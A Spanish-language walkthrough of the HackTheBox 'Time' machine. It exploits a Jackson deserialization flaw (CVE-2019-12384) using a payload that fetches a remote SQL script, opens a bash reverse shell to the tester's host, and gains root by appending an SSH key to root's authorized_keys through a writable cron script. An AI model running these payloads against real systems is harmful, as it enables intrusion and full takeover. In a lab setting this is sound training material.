Time es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Time 10.10.10.214 a /etc/hosts como time.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 |
# Nmap 7.70 scan initiated Fri Dec 4 00:52:13 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.214 Nmap scan report for 10.10.10.214 Host is up (0.054s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-title: Online JSON parser # Nmap done at Fri Dec 4 00:52:58 2020 -- 1 IP address (1 host up) scanned in 45.41 seconds |
Encontramos simplemente el puerto 80 por lo que procederemos a revisar el portal web existente en el mismo.
Enumeración
Accedemos a través del navegador y encontramos el siguiente portal:
Es un formulario simple, probamos a introducir cualquier caracter y nos da la respuesta null
Vemos que el desplegable incluye un segundo valor, Beta, así que lanzamos loquesea a través del mismo y obtenemos el siguiente error:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'asdf': was expecting ('true', 'false' or 'null') |
Parece que es un fallo en la validación de la librería jackson por lo que buscamos información en google y encontramos el siguiente post donde trata el tema:
Así que siguiendo con la explicación y el ejemplo realizado en el anterior post lanzaremos de nuevo la petición introduciendo el siguiente valor en json:
1 |
{"test"} |
El cual nos devolverá el siguiente error:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object |
Volvemos a googlear y encontramos varios post donde trata el tema, mencionando que el error aparece por utilizar los caracteres {} en lugar de [] por lo que lanzaremos de nuevo la petición sustituyendo estos caracteres:
1 |
["test"] |
Y nos da otro error más, pero diferente a los anteriores:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'test' as a subtype of [simple type, class java.lang.Object]: no such class found |
Volvemos a buscar en google y en este caso encontramos algo más interesante, una vulnerabilidad conocida cuyo código es CVE-2019-12384 y que además hay una poc explicando la misma que podemos ver en el siguiente enlace:
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
Por lo que siguiendo con la explicación, en primer lugar crearemos un fichero sql con el código mencionado y alguna modificación para abrir una shell inversa:
1 2 3 4 5 6 |
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.13/4444 0>&1 &') |
Y para el testeo lanzaremos en el formulario el siguiente payload:
1 |
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.13:8000/inject.sql'"}] |
Ahora necesitaremos varias cosas, primero levantar con python un servidor en local para que el servidor destino pueda obtener el fichero sql, levantar una escucha con netcat y por último ejecutar el payload en el formulario.
Así que realizamos todos los pasos y obtendremos una shell en nuestra escucha con el usuario pericles:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
nc -lvp 4444 listening on [any] 4444 ... 10.10.10.214: inverse host lookup failed: Unknown host connect to [10.10.14.13] from (UNKNOWN) [10.10.10.214] 36718 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell pericles@time:/var/www/html$ id id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:/var/www/html$ whoami whoami pericles pericles@time:/var/www/html$ |
Obteniendo la flag de user
Ahora que ya estamos dentro de la máquina con el usuario pericles, vamos a la home de este y obtenemos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
pericles@time:/var/www/html$ cd /home cd /home pericles@time:/home$ ls -l ls -l total 4 drwxr-xr-x 7 pericles pericles 4096 Oct 23 09:45 pericles pericles@time:/home$ cd pericles cd pericles pericles@time:/home/pericles$ ls -l ls -l total 8 drwxr-xr-x 3 pericles pericles 4096 Oct 2 13:20 snap -r-------- 1 pericles pericles 33 Dec 3 23:54 user.txt pericles@time:/home/pericles$ cat user.txt cat user.txt 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxf pericles@time:/home/pericles$ |
Escalado de privilegios
Completada la primera parte, ahora necesitaremos enumerar el sistema con el objetivo de encontrar algún fallo en el mismo y obtener acceso a root.
Utilizamos LinPEAS para enumerar el sistema y obtener datos importantes dle mismo y encontramos un fichero y un proceso muy interesante:
1 |
-rwxrw-rw- 1 pericles pericles 88 Dec 4 00:15 /usr/bin/timer_backup.sh* |
Y un proceso de este mismo fichero ejecutado por root cada pocos segundos:
1 |
root 5481 0.0 0.0 6972 3484 ? Ss 00:17 0:00 /bin/bash /usr/bin/timer_backup.sh |
Así que como tenemos permisos para escribir en el fichero vamos a añadir un comando al mismo para añadir nuestra clave ssh al fichero authorized_keys de root:
1 |
echo 'echo "YOUR SSH_PUB_KEY" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh |
Tan sólo nos queda esperar que se ejecute de nuevo y loguearnos con nuestra clave ssh como root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh -i /tmp/root.pem root@10.10.10.214 The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established. ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 04 Dec 2020 12:20:54 AM UTC System load: 0.64 Usage of /: 22.3% of 29.40GB Memory usage: 9% Swap usage: 0% Processes: 228 Users logged in: 0 IPv4 address for ens160: 10.10.10.214 IPv6 address for ens160: dead:beef::250:56ff:feb9:59b 83 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Thu Oct 22 17:03:52 2020 root@time:~# id uid=0(root) gid=0(root) groups=0(root) root@time:~# whoami root |
Obteniendo la flag de root
Siendo root, como último paso, accedemos a la home de este para conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 |
root@time:~# ls -l total 5776 -rw-r--r-- 1 root root 5900858 Dec 4 00:20 backup.zip -r-------- 1 root root 33 Dec 3 23:54 root.txt drwxr-xr-x 3 root root 4096 Sep 20 12:07 snap -rwxr--r-- 1 root root 88 Oct 22 08:49 timer_backup.sh root@time:~# cat root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 root@time:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace